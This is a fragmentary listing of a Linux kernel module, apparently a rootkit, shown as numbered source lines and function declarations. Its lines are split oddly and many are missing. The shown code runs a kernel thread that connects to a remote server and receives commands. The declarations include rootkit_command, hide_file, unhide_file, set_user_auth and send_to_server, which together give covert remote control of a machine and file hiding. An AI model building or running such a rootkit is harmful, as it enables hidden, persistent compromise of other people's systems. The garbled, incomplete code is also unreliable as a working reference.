37 ERR_MSG(
"send_initial_message_with_retries: failed to get system info\n");
60 unsigned failure_count = 0, empty_count = 0;
62 while (!kthread_should_stop()) {
80 if (recv_buffer[0] ==
'\0') {
87 recv_buffer[len] =
'\0';
90 failure_count = empty_count = 0;
92 DBG_MSG(
"network_worker: received message: %s\n", recv_buffer);
93 if (strcmp(recv_buffer,
"\n") != 0) {
107 char *recv_buffer = NULL;
108 struct sockaddr_in addr = { 0 };
109 unsigned char ip_binary[4] = { 0 };
111 if (!in4_pton(
ip, -1, ip_binary, -1, NULL)) {
112 ERR_MSG(
"network_worker: invalid IPv4 address\n");
116 addr.sin_family = AF_INET;
117 addr.sin_port = htons(
port);
118 memcpy(&addr.sin_addr.s_addr, ip_binary,
sizeof(addr.sin_addr.s_addr));
120 while (!kthread_should_stop()) {
135 ERR_MSG(
"network_worker: failed to allocate recv_buffer\n");
163 ERR_MSG(
"start_network_worker: thread already running\n");
170 ERR_MSG(
"start_network_worker: failed to start thread\n");
175 char path[32] = { 0 };
191 char path[32] = { 0 };
int rootkit_command(char *command, unsigned command_size, enum Protocol protocol)
#define TIMEOUT_BEFORE_RETRY
#define ERR_MSG(fmt, args...)
#define DBG_MSG(fmt, args...)
#define NETWORK_WORKER_THREAD_NAME
#define RCV_CMD_BUFFER_SIZE
#define MAX_MSG_SEND_OR_RECEIVE_ERROR
int hide_file(const char *path)
int unhide_file(const char *path)
int send_to_server(enum Protocol protocol, char *message,...)
int receive_from_server(char *buffer, size_t max_len)
int close_worker_socket(void)
int connect_worker_socket_to_server(struct sockaddr_in *addr)
int set_user_auth(bool auth)
static bool receive_loop(char *recv_buffer)
static int network_worker(void *data)
int start_network_worker(void)
static bool send_initial_message_with_retries(void)
static struct task_struct * network_worker_thread
int stop_network_worker(void)